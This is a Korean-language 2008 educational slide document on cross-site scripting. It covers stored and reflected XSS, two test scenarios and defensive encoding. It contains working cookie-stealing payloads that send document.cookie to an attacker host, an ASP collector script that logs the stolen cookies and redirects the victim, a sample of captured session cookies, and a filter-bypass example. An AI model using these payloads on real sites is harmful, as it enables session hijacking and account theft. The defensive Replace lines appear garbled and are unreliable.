1 Education Giehong.E goodbyestar@nate.com abstract - 영리를목적으로한곳에서의불법적인배포는금지합니다. - 문서의내용은임의의가상테스트를대상으로한 OWASP10 의기본적인내용들이며교육을위해만들어진문서입니다. - 비인가받은악의적인행동은불법이며법적책임또한당사자에게있습니다 Copyright@2008 All Rights Reserved by ghlee 페이지 1
2 A Table of Contents concept XSS Test 시나리오 #1 시나리오 #2 XSS 대응방안 Reference Copyright@2008 All Rights Reserved by ghlee 페이지 2
3 concept Cross Site Scripting은사용자에게공격목적의악의적인웹컨텐츠를보내는공격방법이다. 공격자가사용자에게보내는악의적인웹컨텐츠는 URL에포함된스크립트코드이거나보안에취약한웹사이트의폼필드에입력된스크립트코드가될수있다. 일반적으로 HTML 코드에의해미리정의된위치에평범한텍스트형태로브라우저상에표현되지만 HTML은그런평범한텍스트뿐만아니라다른다양한컨텐츠를표현하고 Client Side Script Code 를포함할수있다. Client측 Script는 Sendbox 로알려진제한된환경에서동작하기때문에대부분의경우 local에는악영향을미치지않는다. Cross Site Scripting 공격이의미하는바는정확히어느한사용자가입력한스크립트코드를다른사용자의컴퓨터에서실행시키는것이다. 즉 XSS의가장큰특징인 Server가아닌 Client를공격하는것이다. Sendbox 덕분에사용자는심각한침해로부터보호받을수있지만 Client Script Code는코드에명시된파일이나로컬리소스에접근해서자신의정해진동작을수행할수있어야한다. 바로이점이위험을내포하고있는것이다실행되는스크립트코드는현재의웹페이지에포함된모든정보에접근할수있으며악의적인의도를가진공격자가 XSS를이용해서사용자의쿠키를훔쳐낼수있고마치그사용자인것처럼행세할수도있으며다른악의적인사이트로사용자를이동시키거나교묘히웹페이지내용을조작해서사용자가개인정보를입력하게할수도있음을의미한다. <script>document.images[29].src="http://img0.gmodules.com/ig/f/okstlueg20s/intl/all_kr/l ogo.gif"</script> 이스크립트를웹페이지에서로드시키면다음과같이 29 번째이미지가변경된것을볼수있다. Copyright@2008 All Rights Reserved by ghlee 페이지 3
4 XSS공격은주로사용자의 SessionID 나 Cookie값을훔쳐내어권한을훔쳐내는기법이사용되며. 본문서에서는 Session 과 Cookie를따로설명하지는않고 Cookie Stealing 에서자세히다루겠다. XSS 공격은저장 (Stored)XSS 와반사 (Reflected)XSS 이렇게크게두가지가있다. 우선첫번째로는저장 (Stored)XSS 에대해살펴보겠다. 저장XSS 는공격자가 XSS 보안취약점공격을위해가장많이살펴보는곳이같은사이트를방문하는다른사용자들에게보이는데이터를입력하는부분이다. 즉메시지입력부분, 방명록, 댓글, 등을남기기기위해사용자가입력하는부분이다. 공격자는이러한 FORM 필드부분에악의적인스크립트를저장하고후에어떤사용자가해당사이트의같은곳을방문하면해당스크립트가웹페이지에서로드면서코드가실행되는것이다. 두번째로는반사 (Reflected)XSSS 공격이며반사 (Reflected)XSS 공격은 URL의 CGI 인자에스크립트코드를삽입하는것이다. 공격자가이메일을이용해어떤웹페이지링크를보내고그링크를전달받은사용자가링크를클릭하면그링크에대한웹페이지가로드된다. 그때웹페이지에대한링크 URL에삽입된스크립트코드가실행되면서웹페이지의내용이변경된다. 이공격은스크립트를저장하기위한웹사이트는필요하지않으며사용자가조작된링크주소를클릭하면링크에대한웹페이지가로드되면서그스크립트코드가실행되기때문이다. Copyright@ @2008 All Rights Reserved by ghlee 페이지 4
5 공격대상사용자가웹사이트에입력한데이터를해당웹사이트를방문한다른사용자가볼수있는경우에이공격을적용할수있다. XSS 공격에취약한부분이발견되었더라도다른사용자가그부분을접하지않으면아무런소용이없다. 당연한이야기이지만이유는간단하다 XSS공격의특징은 ServerSideScript 가아니라 Client SideScript 이기때문이다. 공격수행방법 HTML은웹페이지에스크립트코드를삽입할수있는여러가지메커니즘을제공하며그중에서도가장명확한것이 <script> </script> 태그를이용하는것이다. 우선공격할 FORM 필드에 <script>alert( XSS Attack )</script> 를이용하여다음과같이메시지박스가뜬다면 XSS 공격에취약한것으로본다. HTML 태그는스크립트삽입에취약하다. 예를들면 IMG 태그가그런경우라고할수있다. <img src= path/image.gif> 위의 img 태그를다음과같이수정할수있다. <img src=javascript:alert( XSS alert! )> HTML 태그전반적인문제들이있으며 STYLE, SRC, HREF, TYPE 속성을지원하는태그들이대부분마찬가지이기때문에 HTML 태그자체를필터링하는것은어려운일이다. 하지만공격자는단지메시지창을띄우는것이아니라공격자는세션 ID를포함하는중요정보를얻고자하며 <script>alert(document.cookie)</script> 를이용하여쿠키의값을보여줄수있는메시지박스를띄우도록한다. 하지만이런쿠키정보는공격자입장에서는아무런도움이되지못한다. 공격자에게도움이되려면원격으로이쿠키정보를획득할수있어야하며획득할수있는방법도여러가지가존재한다. 실제적인공격방법은시나리오를통해서알아보도록하겠다. Copyright@2008 All Rights Reserved by ghlee 페이지 5
6 XSS 입력과정 / 공격절차 1. 공격자가 XSS 취약점이존재하는서버에악성스크립트를게시 2. 관리자또는사용자가로그인을실시하고토큰 (Cookie 또는 SessionID) 생성 3. 공격자가게시한악성스크립트를보거나클릭 4. 관리자또는사용자의토큰이공격자에게전송 5. 공격자가해당토큰을이용 / 다른사용자의권한을가장또는소유 XSS를유발시킬수있는대표적인코드이다. <script>... </script> <img src = javascript:... /> <div style = background-image:url( javascript...) /> <embed>... </embed> <Iframe>... </Iframe> Cross Site Scripting 의효과시스템의특정명령을실행 / SessionID & Cookie Stealing XSS 의 Filtering 우회방법들은 http://ha.ckers.org/xss.html 참조하기바란다. Copyright@2008 All Rights Reserved by ghlee 페이지 6
7 XSS Test 시나리오 #1 자신의웹서버에희생자 Cookie 남기기 가장일반적이며보편적인공격방법이다. 공격자는악성스크립트를 XSS 취약점을가지고있는게시판에스크립트를작성하여공격자사이트의애플리케이션으로이동시켜 Cookie값을수집할수있다. 게시판에다음과같은스크립트를 HTML 형식으로등록한다. <script>document.location='http://myweb/app?cookie='+document.cookie;</script> 공격자의웹서버에는다음과같은어플리케이션이있어야한다. 코드의내용은상당히간단하다 request객체로 Cookie을인자로하여그값을파일에쓰고희생자가눈치채지못하게다시그게시판으로 redirect 한다. Copyright@2008 All Rights Reserved by ghlee 페이지 7
8 <% cookie=request("cookie") ' 쿠키값받기 Set fs = Server.CreateObject("Scripting.FileSystemObject") if fs.fileexists("c:\xss\xss.txt") then else fs.createtextfile ("c:\xss\xss.txt"), true end if Set objfile = fs.opentextfile("c:\xss\xss.txt",8) ' 파일쓰기 objfile.writeline("--------------------------------------------------------------") objfile.writeline(cookie) objfile.close response.redirect("http://211.240.68.18/demoshop/shop_board/shop_board_list.asp") %> C:\xss\xss.txt 파일이생기고 Cookie 값이등록이된다. C:\xss\xss.txt 파일을확인하면다음과같은결과가발생한다. oyesorder=oyes_order=254302281; csig_oyesorder=yfqkda657nywjohrca5i1w; ASPSESSIONIDCQRTDADQ=JEIFICPADIOAHHFHIHNLLHFC; csig_aspsessionidcqrtdadq=j3d5r50hpkiot7xdpz9ljq 쿠키값을얻었고쿠키값안에세션검증이이루어지지않았다면희생자계정으로로그인할수있으며로그인이가능하다는이야기는사용자의정보를전부획득할수있다는결과를가져온다. Copyright@2008 All Rights Reserved by ghlee 페이지 8
9 XSS Test 시나리오 #2 OO 포털 XSS 테스트 OO 포털 XSS 가능한부분과 XSS를할수있는다양한방법을생각해보고시나리오 #1 같은방식으로진행을하겠다. 하지만게시판에 <script> 태그의방어정책이수립되어있음을먼저생각해야한다. 첫번째방법으로단지 <script> 태그만막혀있으므로 HTML코드에 <script> 태그를삽입하여공격하는방식이며두번째방법은첨부파일을통한공격방법이다. 두번째공격은독자스스로가실습을해보도록한다. HTML 태그중 IMG 라는이미지삽입태그를써서공격을하였다. <IMG SRC=javascript:document.location='http://MyWeb/Getcookie.asp?cookie='+document.cookie;> 희생자가메일을읽으면다음과같은화면이나타날것이고이화면을본순간희생자의쿠키값은공격자의웹서버에남게된다. Copyright@2008 All Rights Reserved by ghlee 페이지 9
10 공격자의 C:\xss\xss.txt 파일에는쿠키값이남게된다. 공격자는훔친쿠키로로그인해서희생자의개인정보를알아낼수있다. XSS 대응방안 기술적인 XSS 방어방법을설명하기이전에어떤것을어떻게해야하는지부터설명을하겠다. 스크립트코드를실행하기위한대표적인코드는 <script> </script> 태그가있다. 하지만이태그이외에도 HTML, 자바스크립트, VB스크립트, 액티브X, FLASH 등과같이다양한스크립트언어나삽입기술이 XSS 공격에이용될수있다. 이렇게때문에허용되어서는안되는데이터를필터링하는방법보다는허용가능한데이터만필터링하는편이낫다. 가장확실하고쉬운방법은데이터가코드로해석되는것을방지하는것인데즉 HTML에서모든코드는 < > 안에존재한다. 생각해보면모든각괄호를해당인코딩값으로교체하면데이터가코드로잘못인식되는경우는발생하지않는다라는이야기가된다. 필자가생각해본방어방법중하나는 HTML 삽입부분을없애는것이다. 그렇다면서비스측면에측볼때상당히성능이떨어진다고생각하지만 HTML 툴을쓰는것이가장효율적이지않나하는생각을한다. 물론이미지삽입공격이나첨부파일형식의공격은못막겠지만말이다. 평소생각하고있었던것을이문서를통해말하는바이다. Copyright@2008 All Rights Reserved by ghlee 페이지 10
11 우선 XSS 공격이되는게시판에테스트를해보고 HTML 인코딩을적용시키는예를살펴보자다음과같이스크립트가적용되는것을볼수있다. contents = Server.HTMLEncode(Request("contents")) CONTENTS 부분을 HTML Encode 시킨다면다음과같이 <script> 태그가적용이안될것이다. 이방법의문제점은 CONTETS 부분에 HTML 태그전부를인코딩하는결과가발생된다. content = ConvertTohtml(content) content = Replace(content,"'","''") content = replace(content,"&","&") content = replace(content,">",">") content = replace(content,"<","<") Replace 구문을쓰게되면해당태그를필터링시킬수있다. Copyright@2008 All Rights Reserved by ghlee 페이지 11
12 Reference 황순일, 김광진.(2005) 웹해킹패턴과대응 사이텍미디어 마이크엔드류스 / 제임스A. 휘태커.(2006) How to Break Web Software : Funtional and Security Testing of Web Applications and Web Services Pearson http://cafe.naver.com/securityplus Copyright@2008 All Rights Reserved by ghlee 페이지 12